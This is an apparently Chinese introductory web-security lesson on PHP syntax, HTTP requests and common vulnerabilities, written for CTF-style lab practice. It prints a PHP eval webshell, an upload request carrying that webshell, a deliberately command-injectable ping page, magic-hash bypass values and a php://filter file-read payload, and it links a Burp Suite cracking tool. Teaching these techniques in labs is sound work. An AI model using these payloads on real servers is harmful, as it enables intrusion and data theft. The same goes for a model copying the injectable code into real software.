Web安全——PHP语法与安全

617次阅读
没有评论

共计 19305 个字符,预计需要花费 49 分钟才能阅读完成。

写在前面

网络安全法

网络安全法第五条:国家采取措施,监测、防御、处置来源于中华人民共和国境内外的网络安全风险和威胁,保护关键信息基础设施免受攻击、侵入、干扰和破坏,依法惩治网络违法犯罪活动,维护网络空间安全和秩序。
第六条:国家倡导诚实守信、健康文明的网络行为,推动传播社会主义核心价值观,采取措施提高全社会的网络安全意识和水平,形成全社会共同参与促进网络安全的良好环境。
第二十六条:开展网络安全认证、检测、风险评估等活动,向社会发布系统漏洞、计算机病毒、网络攻击、网络侵入等网络安全信息,应当遵守国家有关规定。
第二十七条:任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动; 不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具; 明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。

[!info]- 忠告
渗透不授权,亲人泪两行

刑法

第二百八十五条:
【非法侵入计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。

【非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金; 情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

【提供侵入、非法控制计算机信息系统程序、工具罪】提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。

[!danger]- 怎样赚大钱
来钱快的办法刑法里都有

Web 安全——PHP 语法与安全

什么是 Web 安全?

[!Web]
WEB(World Wide Web)即全球广域网,
也称为万维网,它是一种基于超文本和 HTTP 的、全球性的、动态交互的、跨平台的分布式图形信息系统。是建立在 Internet 上的一种网络服务,为浏览者在 Internet 上查找和浏览信息提供了图形化的、易于访问的直观界面,其中的文档及超级链接将 Internet 上的信息节点组织成一个互为关联的网状结构

简单来说 web 就是一种基于互联网的信息系统,通过超文本链接将全球范围内的文档、图片、视频和其他资源连接在一起,供用户访问和共享。

[!Web 安全]
即为基于万维网络的安全,学习的是通过漏洞攻击网络服务器以达成目的技巧

漏洞?目的?(目前只需要了解)

Web 的漏洞总是五花八门的


XSS

Web 安全——PHP 语法与安全

一种钓鱼手法,用于盗取用户 cookie 获取他人账号权限

SQL 注入

Web 安全——PHP 语法与安全

通过恶意手段非法取得数据库里面的数据


文件上传漏洞

Web 安全——PHP 语法与安全

上传木马文件获取服务器权限


SSRF(服务器端请求伪造)

Web 安全——PHP 语法与安全

允许攻击者诱导 Web 应用程序向攻击者指定的目标发起请求, 用于内网探测和敏感数据窃取

服务器 RCE(命令执行)

Web 安全——PHP 语法与安全

攻击者通过构造恶意输入或请求,绕过系统安全机制,在目标服务器或应用程序中注入并执行代码。


SSTI 模板注入

Web 安全——PHP 语法与安全

执行命令,获取非法数据

[!faq]- Web 只有这些漏洞?
远远不止!

Web 安全——PHP 语法与安全


Web 安全都干些什么?

Web 安全这个方向所学习的内容是最贴近于我们想象中的黑客的

[!faq]- 我们真的是干黑客行业的吗?这不违法吗?

黑客也分为黑帽子黑客与白帽子黑客
黑帽子黑客通过漏洞攻击合法产业以达成不法目的
而白帽子黑客则是反制黑帽子黑客,通过渗透提前找出服务中的漏洞,
以防止他人利用以取得不法利益

Web 安全的就业方向

渗透测试工程师

Web 安全——PHP 语法与安全

代码审计工程师

Web 安全——PHP 语法与安全

信息安全工程师

Web 安全——PHP 语法与安全

当然不止这点工作,其他的各位同学们可以自己下来看

[!info]- 方向选对了就是包吃包住的工作,没选对也是包吃包住

PHP 基础入门

php 是世界上最好的语言(雾)


为什么第一节课要学 php?

1. 简单易懂 – 部分语法类似于 C 语言

PHP vs C 你们知道吗

输出语句

PHP 代码块以 <?php 开头 以 ?> 结尾
可用 print()函数 或 echo 进行输出
[^3]


<?php
echo "Hello World!n";
$a = "PHP is the best language";
print($a)
?>

> 在这里可以看出 PHP 与 c 语言的显著区别:
PHP 变量都以 $ 开头且无需声明,
PHP 会根据给变量赋值的内容自动判断数据类型,PHP 代码块以 `<?php 开头 ` 以 `?>` 结尾, 无需包含在主函数中
PHP 调用系统函数无需包含库, 直接就可以调用

```c
#include <stdio.h>

int main(){printf("Hello Worldn");
    char a[] = "C is the best language";
    printf("%s",a);
}

分支与循环语法(基本与 C 语言相同)

if else

<?php
if (条件)
{条件成立时要执行的代码;}
elseif (条件)
{条件成立时要执行的代码;}
else
{条件成立时要执行的代码;}
?>

switch

<?php
  switch (expression) {
      case value1:
          // 代码块 1
          break;
      case value2:
          // 代码块 2
          break;
      // 更多的 case 语句
      default:
          // 如果没有匹配的值
  }
?>

for 循环

<?php
  for (初始值; 条件; 增量)
  {要执行的代码;}
?>

while 语句

<?php
  while (条件)
  {要执行的代码;}

  do
  {要执行的代码;}
  while (条件);
?>

2. 内置函数多,编写简单

[!info]- 了解一下就行,反正你们现在很多人也记不到(

在 PHP 中,有超过 1000 个内置函数,这些函数涵盖了从字符串处理到数组操作,再到文件处理等多个方面。以下是一些 PHP 中最常用的函数。

字符串处理函数

  • echo:输出一个或多个字符串。

  • print:输出字符串。

  • sprintf:返回格式化后的字符串。(和 C 语言的 printf 类似)

  • trim:去除字符串两侧的空白字符。

  • strlen:获取字符串长度。

  • _strreplace:替换字符串中的某些字符。

  • strpos:查找字符串首次出现的位置。

示例

<?php
$str = "Hello World!";

echo strlen($str); // 输出 12

数组处理函数

  • count:计算数组中的元素数目或对象中的属性个数。

  • _arraymerge:合并一个或多个数组。

  • _arraypush:将一个或多个元素压入数组的末尾(入栈)。

  • _arraykeys:返回数组中部分的或所有的键名。

  • _inarray:检查数组中是否存在某个值。

示例


$arr = array("apple", "orange", "banana");

echo count($arr); // 输出 3

文件处理函数

  • fopen:打开文件或者 URL。

  • fclose:关闭一个已打开的文件指针。

  • fwrite:写入文件(可安全用于二进制文件)。

  • _file_getcontents:将整个文件读入一个字符串。

  • _file_putcontents:将一个字符串写入文件。

示例

$file = fopen("test.txt", "w");

fwrite($file, "Hello World!");

fclose($file);

这些函数是 PHP 编程中最基础且最重要的工具,掌握它们对于进行有效编程至关重要。

3. 对于新手,服务器配置简单(phpstudy,kali 自带)

phpstudy
Web 安全——PHP 语法与安全

kali
Web 安全——PHP 语法与安全

4. 最重要的一点:PHP 漏洞多

由于 PHP 的各种动态语法以及函数,
PHP 的逻辑与语言漏洞层出不穷,
是我们学习 Web 安全的不二之选


PHP 安装

建立 PHP Web 服务器

对于新手, 可以直接下载 phpstudy 一键配置集成式环境
phpstudy 下载教程

当然, 部分虚拟机 (如 kali) 中自带 php 集成环境, 其目录地址一般为 /var/www/html
通过访问 http://127.0.0.1 来查看自己虚拟机是否自带 php 集成环境

使用 PHP 服务器

我们在对应的网站目录中可以放入 PHP 文件(.php),
再访问 http://127.0.0.1 (回环地址),这时候我们 php 文件的输出会显示在浏览器上

ip 地址: 在互联网上, 我们的每一台接入互联网的机器都有一个地址, 机器之间通过该地址来确认自己想要访问的 ip 的位置
在 linux 里面我们可以用 ip a 或者 ifconfig 来查看自己的 IP
Web 安全——PHP 语法与安全

Windows 用 ipconfig
Web 安全——PHP 语法与安全

我们也可以用 php -S快速起一个 web 服务
Web 安全——PHP 语法与安全


PHP 语法

PHP 代码块以 <?php 开头 以 ?> 结尾,可用 print()函数 或 echo 进行输出

<?php
echo "Hello World!n";
$a = "PHP is the best language";
print($a)
?>

与 C 语言不同的是 php 是弱类型语言,变量无需申明数据类型

其他分支与循环语句和 C 基本相同,不再赘述

如何学习 PHP 函数

PHP 中有非常多的内置函数, 遇到不知道功能的函数时, 可以查看 php 的官方手册: https://www.php.net/manual/zh/index.php
在搜索框中直接搜索函数的名字,
里面给出了全面的 php 相关函数的讲解

想要记住所有的函数是一份非常吃力的事情,纵使你学到后面, 你也无法保证你见到的所有函数都认识, 所以最好的方法是 在遇到不认识的函数就直接查手册, 这些函数一半也不难懂

如果一段代码中有太多不知道的函数或函数手册看不懂,可以将代码扔给 AI,叫 AI 分析代码,
根据 AI 的分析来学习函数的作用
Web 安全——PHP 语法与安全

PHP 服务器

服务端如何与客户端交互?

在我们用浏览器对一个页面进行访问时, 实际是对 url 对应的目标服务器发送请求
(url 就是类似 http://www.baidu.com 这样的链接,www.baidu.com 是域名), 而目标接收到请求之后会发送响应
你在浏览器中所看到的页面内容,实际就是你的浏览器解析了服务端所发送的响应所展现的内容
其中响应的内容基本为 HTML 语言(在这节课你不了解 html 也可以)

而我们的 PHP 服务器也是如此

在这里我们访问 http://127.0.0.1/ 其就会对我们的服务器发出请求,
而服务器会在接收到该请求后就会去访问网站目录(假设这里的网站目录为 /var/www/html/)

当我们用 http://127.0.0.1/1.php 发出请求时, 服务器就会访问 /var/www/html/1.php 文件,
并将程序执行结果作为响应发送给客户端
用 http://127.0.0.1/ 发出请求时, 由于没指定文件, 服务器默认会访问 /var/www/html/index.html 或 /var/www/html/index.php
若没有这两个文件, 则会访问失败, 返回 404
除此之外:
http://127.0.0.1/test/1.php 是访问 /var/www/html/test/1.php
http://127.0.0.1/test/ 是访问 /var/www/html/test/index.html 或 /var/www/html/test/index.php

后端中 PHP 的代码是镶嵌在 Html 中的,
那后端怎么识别哪部分是 Html 哪部分是 PHP?则是通过 <?PHP ?> 进行识别

例如


// 我是 HTML!!!!!!!!!!!!!!!!
<!DOCTYPE html>
2<html lang="zh-CN">
3<head>
4    <meta charset="UTF-8">
5    <title> 简单 PHP 网页 </title>
6    <style>
7        body {
8            font-family: Arial, sans-serif;
9            margin: 40px;
10            background-color: #f9f9f9;
11        }
12        .container {
13            max-width: 600px;
14            background: white;
15            padding: 20px;
16            border-radius: 8px;
17            box-shadow: 0 0 10px rgba(0,0,0,0.1);
18        }
19        input[type="text"] {
20            padding: 8px;
21            width: 200px;
22            margin: 10px 0;
23        }
24        input[type="submit"] {
25            padding: 8px 16px;
26            background-color: #4CAF50;
27            color: white;
28            border: none;
29            cursor: pointer;
30        }
31    </style>
32</head>
33<body>
34    <div class="container">
35        <h1> 欢迎使用 PHP 网页!</h1>
36// 我是 PHP!!!!!!!!!!!!!!
37        <?php
38       
39        echo "<p> 当前服务器时间:" . date("Y 年 m 月 d 日 H:i:s") . "</p>";
40
41        
42        if ($_SERVER["REQUEST_METHOD"] == "POST") {43            $name = trim($_POST["name"]);
44            if (!empty($name)) {45                echo "<p style='color:green;'> 你好,<strong>" . htmlspecialchars($name) . "</strong>!欢迎访问本页面。</p>";
46            } else {
47                echo "<p style='color:red;'> 请输入您的名字!</p>";
48            }
49        }
50        ?>
51// 我又是 HTML!!!!!!!!
52        <form method="post" action="">
53            <label for="name"> 请输入您的名字:</label><br>
54            <input type="text" id="name" name="name" placeholder="例如:张三">
55            <br>
56            <input type="submit" value="提交">
57        </form>
58    </div>
59</body>
60</html>

一个 url 的其它部分有什么

服务器端口

[!faq]- 服务器端口是什么?

有时候我们能看到有些 url 在 ip/ 域名后还多了一部分比如 http://127.0.0.1:8080/,这多出来的 8080 就是端口

当服务器的服务比较多时,就会将服务架设在不同的端口,可以理解为目标服务器是一个商城,而商城有许多不同的店铺,

而选定 ur1 的端口就是向自已想要的店铺发送信件(请求),而商铺会发送响应(货物)
而我们的请求,若没有指定端口,

则 http:// 默认会访问 80 服务器端口,https:// 默认会访问 443 端口

传递参数

如现在有一个 url

https://rycarl.cn/

在页面上地址栏中显示 https://rycarl.cn/ http://https:// 默认被隐藏
Web 安全——PHP 语法与安全

[!info]- http://专业解释:
http 是一种协议(超文本传输协议), 是 Web 上进行任何数据交换的基础
同时,也是一种客户端—服务器(client-server)协议,客户端与服务端之间通过交换一个个独立的消息(而非数据流)进行通信由客户端——通常是个浏览器——发出的消息被称作请求(request),由服务端发出的应答消息被称作响应(response)

除 http:// 之外还有 https:// (超文本传输安全协议), 其传输是经过加密的, 更加安全
我们去搜索 php
Web 安全——PHP 语法与安全

会发现 url 变成了https://rycarl.cn/?s=php
其中? 后的就是 GET 参数, 它会作为一个参数传输给我们的服务器,
在这里 s 为参数名,php 为 id 这个参数的值
服务器接收参数后会在数据库里面搜索包含关键词 php 的文章

如何向服务器后端传递参数

(para_deliver.php)

[!faq]- 我们需要向服务器发送自己的数据让服务器去处理,那么有哪些发送数据的方法?

GET 传输方法

当你访问 http://127.0.0.1/test.php?id=123 时
他会以 id 作为参数访问 /var/www/html/test.php
在 test.php 中可以通过 $_GET[‘id’] 进行获取
$_GET是一个数组, 包含了所有由客户端传过来的参数
若有多个 get 参数, 期间用 & 隔开,http://127.0.0.1/test.php?id=123&name=rycarl

[!faq]- GET 传参数有长度限制,那如果我需要传递大量数据怎么办?

POST 传输方法

那当我们登录时,要传输给服务器的就是我们的账号与密码了,如果此时用 GET 传输的方法的话,
岂不是会将我们的密码在地址栏中显示?
又或者是我们要传输的内容过多,url 会过长
此时就要使用 POST 方法来传输,他并不会在 URL 中显示,在 html 源码中定义要传输的变量,以及对应的值(其实 GET 也是在 URL 中定义)

<form action="http://example.com/process" method="GET">
    <input type="text" id="username" name="username" placeholder="请输入用户名">
    <input type="password" id="password" name="password" placeholder="请输入密码">
    <input type="submit" value="提交">
</form>

这是一个 HTML 源码内容,可以定义传输的方法与内容,称为表单,表单被提交就会发起一次 GET 或者 POST 请求

GET 改为 POST 就可以换请求方法,
action 字段值是在表单要请求的目标 URL
type 字段的值为 text 就是文本框,为 password 就是密码框(类似文本框,但输入会被隐藏为星号)
type 字段的值为 file 就是文件上传按钮,为 submit 就是表单提交按钮(点击后就会提交)
name 字段就是传输的参数名

PHP 特性

PHP 的比较符

大于 > 小于 < 弱等于 == 强等于 === 弱不等于!= 强不等于!==

[!info]- 弱等与强等的区别:
弱等判断值强等既判断值,又判断数据类型(对!数据类型不相同也可能相等比如1=='1' 1==true)

判断的标准:

当数字与字符串 / 纯数字字符串 用比较符比较时(不包括强等), PHP 会从字符串的开头开始截取数字,直到遇到非数字表达的一部分时
比如:

123141234=abc1234
php 会先将 abc1234 转换为数字再进行比较,abc1234 会被转换成 0
但如果是数字开头,如 1234abc,就会被转换成 1234

同时字符串前面的 + 和 - 号也会被识别
如:-1234ab 转换成 -1234

同时 php 也支持科学计数法
如 2e2 转换成 200

除此之外在 PHP 版本小于 7 时,PHP 还识别 0x122(十六进制) 0442(八进制) 0b10010(二进制)

接下来我们试一试这道题(test1.php)

<?php  
$flag=file_get_contents('flag.php');  
$a=1000000;  
$b=$_GET['b'];  
if(strlen($b)>4){die('NO way!');  
}  
if($a<$b){echo $flag;}  
else{echo 'Nope';}

MD5 绕过

什么是哈希 Hash 算法?

概念:

哈希算法 不严谨来讲 可以说是 没法被正常解密的加密方法

特点:

不可逆性 – 哈希值是不可逆的,意味着无法从哈希值反推出原始输入数据
确定性 – 对于相同的输入数据,哈希函数的输出值是相同的
唯一性 – 不同的输入数据几乎不可能产生相同的哈希值,即哈希冲突的概率非常低(但不是没有)
高效性 – 哈希算法的计算过程通常是快速且高效的,能够在短时间内处理大量的数据

利用:

哈希因为其不可逆性 常用于保存密码, 密码在数据库中以哈希值形式保存,
纵使黑客通过黑入获取了相关数据, 也无法获取密码真正的值,
而用户登录时只需将用户的输入在哈希后与数据库中存储的值相比对, 就可以确认用户输入的密码是否正确
除此之外, 哈希又因为其确定性与唯一性而被当作唯一标识符

常见哈希算法:

MD5 SHA-1 SHA-2 SHA-3
MD5 和 SHA-1 已多次被成功攻击,因此它们被各类安全应用弃用。
SHA-2 系列中的 SHA-256 是最安全的哈希算法之一,仍未出现成功的攻击案例,因此常用在各类安全应用与协议中。
SHA-3 相较 SHA-2 的实现开销更低、计算效率更高,但目前使用覆盖度不如 SHA-2 系列。

MD5 弱相等绕过

<?php
$a = $_GET['a'];
$b = $_GET['b'];
if ($a !== $b && md5($a) == md5($b)) {echo "flag{114514}"
} 
else {die("No");  
}

?>

[!faq]- 当遇到类似左边的代码时, 我们该怎么绕过检测让其输出 flag?
利用弱相等

QNKCDZO md5 后为 0e830400451993494058024219903391
240610708 md5 后为 0e462097431906509019562988736854

当我们输入 a =QNKCDZO,b=240610708 时
虽然 md5 结果不同,
但由于弱相等,两个值被当作科学计数法,判断相等
输出 flag

以下是常见的字符串 md5 值为 0e 开头

加密后的密文                      原值

QNKCDZO           0E830400451993494058024219903391
240610708           0E462097431906509019562988736854
s878926199a       0E545993274517709034328855841020
s155964671a       0E342768416822451524974117254469
s214587387a       0E848240448830537924465865611904

sha1

10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799

以下字符串进行两次 md5 后以 0e 开头

7r4lGXCH2Ksu2JNT3BYM
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk

0e215962017 的 MD5 值也是由 0e 开头

[!faq]- 但若把弱相等改为强相等呢?
利用 php 中 md5 函数的特性

<?php  
$flag=file_get_contents('flag.php');  
$a = $_GET['a'];  
$b = $_GET['b'];  
if ($a !== $b && md5($a) === md5($b)) {echo $flag;}  
else {die("No");  
}  

?>

当 PHP 的版本小于 8 时,md5 函数若传入的参数是一个数组, 则会返回 NULL
所以我们传入a[1]=1,b[1]=2 md5 函数则会返回 NULL (代表 空)
NULL===NULL

这两个破解方法都是利用 PHP 本身的特性进行攻击,而非针对 md5 本身

RCE 代码 / 命令执行

代码执行函数: eval() ...
命令执行函数: exec() shell_exec() system() ...

代码执行函数会将字符串当作 PHP 代码 以执行
比如 <?php eval('echo 123;') ?> 就会输出 123

命令执行函数会将字符串当作 操作系统终端命令 以执行
exec('ls') 就会执行 ls 命令

服务端有些功能要依赖代码 / 命令执行函数,
当我们能够操控其执行的内容时,就会存在 RCE 漏洞

使用 Hackbar 浏览器插件(火狐或谷歌浏览器)

下载教程(firefox 浏览器):

https://addons.mozilla.org/zh-CN/firefox/addon/hackbar-free/?utm_source=addons.mozilla.org&utm_medium=referral&utm_content=search

下载教程(chrome 浏览器)(需要魔法):

https://chromewebstore.google.com/detail/hackbar/ginpbkfigcoaokgflihfhhmglmbchinc?hl=zh-CN&utm_source=ext_sidebar

使用 Burpsuite 抓包

下载和安装:

bp 分为社区版和专业版,前者免费且 kali 虚拟机自带,后者可破解,我们一般使用专业版,但新手用社区版足以

破解插件下载:
https://github.com/h3110w0r1d-y/BurpLoaderKeygen/blob/main/README.md

官方下载:
https://portswigger.net/burp/releases/professional-community-2024-8-2?requestededition=professional&requestedplatform=

基础教程:
https://zhuanlan.zhihu.com/p/547973012

一个请求包中都包含了什么?

Web 安全——PHP 语法与安全

使用 Yakit 抓包

Yakit 比 burp 有个显著的优势——免费(

下载和安装:

https://www.yaklang.com/

基础教程:https://www.cnblogs.com/freedom-h/p/18777597

1. 请求行

请求行由请求方法字段、URL 字段和 HTTP 协议版本字段 3 个字段组成,它们用空格分隔。比如 GET /data/info.html HTTP/1.1

方法字段就是 HTTP 使用的请求方法,比如常见的 GET/POST

URL 字段就是我们在浏览器上看到的域名后门的那一段东西

其中 HTTP 协议版本有两种:HTTP1.0/HTTP1.1 可以这样区别:

HTTP1.0 对于每个连接都只能传送一个请求和响应,请求就会关闭,HTTP1.0 没有 Host 字段; 而 HTTP1.1 在同一个连接中可以传送多个请求和响应,多个请求可以重叠和同时进行,HTTP1.1 必须有 Host 字段。

比如刚刚的图片其中

GET / HTTP/1.1

GET 就是请求方法

常见请求方法

序号 方法 描述
1 GET 请求指定的页面信息,并返回实体主体。
2 HEAD 类似于 GET 请求,只不过返回的响应中没有具体的内容,用于获取报头
3 POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST 请求可能会导致新的资源的建立和 / 或已有资源的修改。
4 PUT 从客户端向服务器传送的数据取代指定的文档的内容。
5 DELETE 请求服务器删除指定的页面。
6 CONNECT HTTP/1.1 协议中预留给能够将连接改为管道方式的代理服务器。
7 OPTIONS 允许客户端查看服务器的性能。
8 TRACE 回显服务器收到的请求,主要用于测试或诊断。
9 PATCH 是对 PUT 方法的补充,用来对已知资源进行局部更新。

/就是请 URL 路径
比如我们访问 http://127.0.0.1/index.php 此时我们的请求路径就是 /index.php

而 HTTP/1.1 就是协议版本

2. 请求头部

HTTP 客户程序 (例如浏览器),向服务器发送请求的时候必须指明请求类型(一般是 GET 或者 POST)。如有必要,客户程序还可以选择发送其他的请求头。大多数请求头并不是必需的, 但 Content-Length 除外。对于 POST 请求来说 Content-Length 必须出现。

常见的请求头字段含义:

Accept:浏览器可接受的 MIME 类型。

Accept-Charset:浏览器可接受的字符集。

Accept-Encoding:浏览器能够进行解码的数据编码方式,比如 gzip。Servlet 能够向支持 gzip 的浏览器返回经 gzip 编码的 HTML 页面。许多情形下这可以减少 5 到 10 倍的下载时间。

Accept-Language:浏览器所希望的语言种类,当服务器能够提供一种以上的语言版本时要用到。

Authorization:授权信息,通常出现在对服务器发送的 WWW-Authenticate 头的应答中。

Content-Length:表示请求消息正文的长度。

Host:客户机通过这个头告诉服务器,想访问的主机名。Host 头域指定请求资源的 Intenet 主机和端口号,必须表示请求 url 的原始服务器或网关的位置。HTTP/1.1 请求必须包含主机头域,否则系统会以 400 状态码返回。

Referer:客户机通过这个头告诉服务器,它是从哪个资源来访问服务器的(防盗链)。包含一个 URL,用户从该 URL 代表的页面出发访问当前请求的页面。

User-Agent:User-Agent 头域的内容包含发出请求的用户信息。浏览器类型,如果 Servlet 返回的内容与浏览器类型有关则该值非常有用。

Cookie:客户机通过这个头可以向服务器带数据,这是最重要的请求头信息之一。

Connection:处理完这次请求后是否断开连接还是继续保持连接。如果 Servlet 看到这里的值为“Keep- Alive”,或者看到请求使用的是 HTTP 1.1(HTTP 1.1 默认进行持久连接),它就可以利用持久连接的优点,当页面包含多个元素时(例如 Applet,图片),显著地减少下载所需要的时间。要实现这一点,Servlet 需要在应答中发送一个 Content-Length 头,最简单的实现方法是:先把内容写入 ByteArrayOutputStream,然后在正式写出内容之前计算它的大小。

比如刚刚的 HTTP 请求包

GET / HTTP/1.1
Host: rycarl.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36

告诉了我们浏览器可接受的 MIME 类型:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7

浏览器能够进行解码的数据编码方式:
gzip, deflate

以及可以接受的语言等

3. 空行

它的作用是通过一个空行,告诉服务器请求头部到此为止。

4. 请求数据

若方法字段是 GET,则此项为空,没有数据

若方法字段是 POST, 则通常来说此处放置的就是要提交的数据

比如要使用 POST 方法提交一个表单,其中有 user 字段中数据为“admin”, password 字段为 123456,那么这里的请求数据就是 user=admin&password=123456,使用 & 来连接各个字段。

总的来说,HTTP 请求报文格式就如下图所示:

Web 安全——PHP 语法与安全

过滤与绕过

(rce-lab)
过滤:
服务端为了防止攻击者利用代码 / 命令执行函数,但又同时不想放弃这些函数带来的便利,
就需要将用户的输入进行严格的过滤,使得攻击者的某些手段失效,
但同时,若是过滤过于严格,普通用户的使用体验也会受到影响,
在此基础上,利用尽可能不影响体验的过滤防住攻击者,这便是攻击者与防御者的博弈

绕过:道高一尺,魔高一丈,既然有过滤,那便通过各种攻击手段 绕过 过滤

RCE 绕过
https://rycarl.cn/index.php/2025/03/17/61/

一句话木马后门

结构:<?php @eval($_POST[‘CMD’]); ?>

我们在利用各种漏洞的时候,通过各种方法在我们能够访问的地方写入一句话木马文件,自行构造没有任何过滤 RCE 漏洞,这样纵使我们利用的漏洞被修复,
只要一句话木马文件没有被删除,我们就依然能够通过一句话木马利用 RCE 漏洞
这便是黑客留下的一种后门
test3.php

<!DOCTYPE html>  
<html>  
<head>  
    <title>Ping 工具 </title>  
    <style>        body {font-family: Arial, sans-serif; margin: 40px;}  
        textarea {width: 100%; height: 200px;}  
        input[type="text"] {width: 300px; padding: 5px;}  
        button {padding: 5px 10px; margin-top: 10px;}  
    </style>  
</head>  
<body>  
<h2> 不安全的 Ping </h2>  
<p> 输入一个 IP 地址或域名,服务器将执行 ping 命令。</p>  
<form method="GET">  
    <label for="host"> 目标主机:</label><br>  
    <input type="text" id="host" name="host" placeholder="例如: 8.8.8.8 或 baidu.com">  
    <br>    <button type="submit">Ping!</button>  
</form>  

<?php  
if (isset($_GET['host'])) {$host = $_GET['host'];  

    $command = "ping -c 4" . $host;  
    echo "<h3> 执行的命令:</h3><pre>" . htmlspecialchars($command) . "</pre>";  

    echo "<h3> 执行结果:</h3><pre>";  
    $command=system("ping" . $host);  
    echo "</pre>";  
}  
?>  

<hr>  
</body>  
</html>

我们可以使用命令拼接符号来执行命令
Web 安全——PHP 语法与安全

phpinfo()

php 中有一个用于调试的函数 phpinfo()
当调用这个函数时, 会显示关于 PHP 的所有配置内容

system: 操作系统版本
extension_dir: php 扩展的路径
$_SERVER['DOCUMENT_ROOT']: web 网站路径

漏洞相关配置: allow_url_include、allow_url_fopen、disable_functions、open_basedir、short_open_tag

总之会暴露服务端和访问用户的许多敏感信息

文件上传漏洞

[!info]- 漏洞原理:
服务端在实现某些功能时会要求用户上传文件,比如在设置头像功能
此时服务端就会接收我们上传的文件,并让其进行显示(能显示就说明能访问),
若我们上传的并非图片会怎样,若后端没有进行严格的设置或是过滤,
从而让我们得以上传了一个 php 文件,那我们就可以通过访问执行该 php 文件,
来执行我们想要的代码,变为 RCE- 代码执行
在 ctf 中,我们通常是上传一个一句话木马,即<?php @eval($_POST['cmd']); ?>

(upload-lab)
过滤:
常见的过滤方式有:
后缀检测(即如果上传的是.php 文件, 就不让你上传),
MIME 检测(文件上传时请求包会包含一个用于标志该文件类型的字符串,叫 MIME)
文件头检测(即每种文件的内都有一定固定的结构,其中其开头的结构为文件头)
而过滤又分为:前端检测 - 后端检测

前端检测即在前端代码中检测你的文件是否合法,当然前端的代码是在客户端运行的,那我们先上传一个正常文件,抓包再改成漏洞利用文件即可绕过

改文件后缀会影响文件功能,后缀检测可以改为拥有相同功能的后缀,
改 MIME 不会影响文件的功能,直接改为其允许的 MIME 即可
文件头检测,直接在文件后面再加上 PHP 代码即可,这样在执行 PHP 代码的时候,文件内容会被当成 html 代码
这是一个上传数据包

POST / HTTP/1.1

Host: rycarl.cn

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj3HIeZlAxtCKSR1X#
// 这里的 multipart/form-data 就是 MIME

Content-Length: 141

------WebKitFormBoundaryj3HIeZlAxtCKSR1X

Content-Disposition: form-data; name="test.php"

<?php @eval($_POST['cmd']); ?>

------WebKitFormBoundaryj3HIeZlAxtCKSR1X--

文件上传绕过

文件包含漏洞

(upload-lab)

include '路径'
include_once '路径'
require‘路径’require_once‘路径’可加括号可不加

include 与 require 区别:include 执行错误会警告 warning,require 则会报错 error
有无_once 的区别: 系统会自动判断文件是否已经包含过,若被包含过则不予执行

php 文件包含:相当将被包含文件的代码直接嵌入 (替换) 当前文件 include(或 require)的位置中
因此,文件包含的特性就是,即使包含的不是 php 文件,其也会将其当作 php 文件进行执行

php 中可以通过 include 等语句去包含其他文件,如果包含的文件用户可控就形成了文件包含漏洞。

文件包含利用

文件包含的参数不知可以用文件的路几个
文件包含内还允许使用伪协议,有哪些伪协议?
其中某些伪协议需要将部分配置项打开才可以使用
Web 安全——PHP 语法与安全

php 伪协议

1. php://filter

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

简单通俗的说,这是一个中间件,在读入或写入数据的时候对数据进行处理后输出的一个过程。

php://filter 可以获取指定文件源码。当它与包含函数结合时,php://filter 流会被当作 php 文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

resource=< 要过滤的数据流 >  
这个参数是必须的。它指定了你要筛选过滤的数据流。read=< 读链的筛选列表 >          
该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。write=< 写链的筛选列表 > 
该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。< 两个链的筛选列表 >  任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

常用:

php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php

利用 filter 协议读文件,将 index.php 通过 base64 编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做 php 文件执行了,而通过编码后则可以读取文件源码。

而使用的 convert.base64-encode,就是一种过滤器。
(include.php)

<?php  
$a=$_GET['a'];  
echo file_get_contents($a);
2 data://

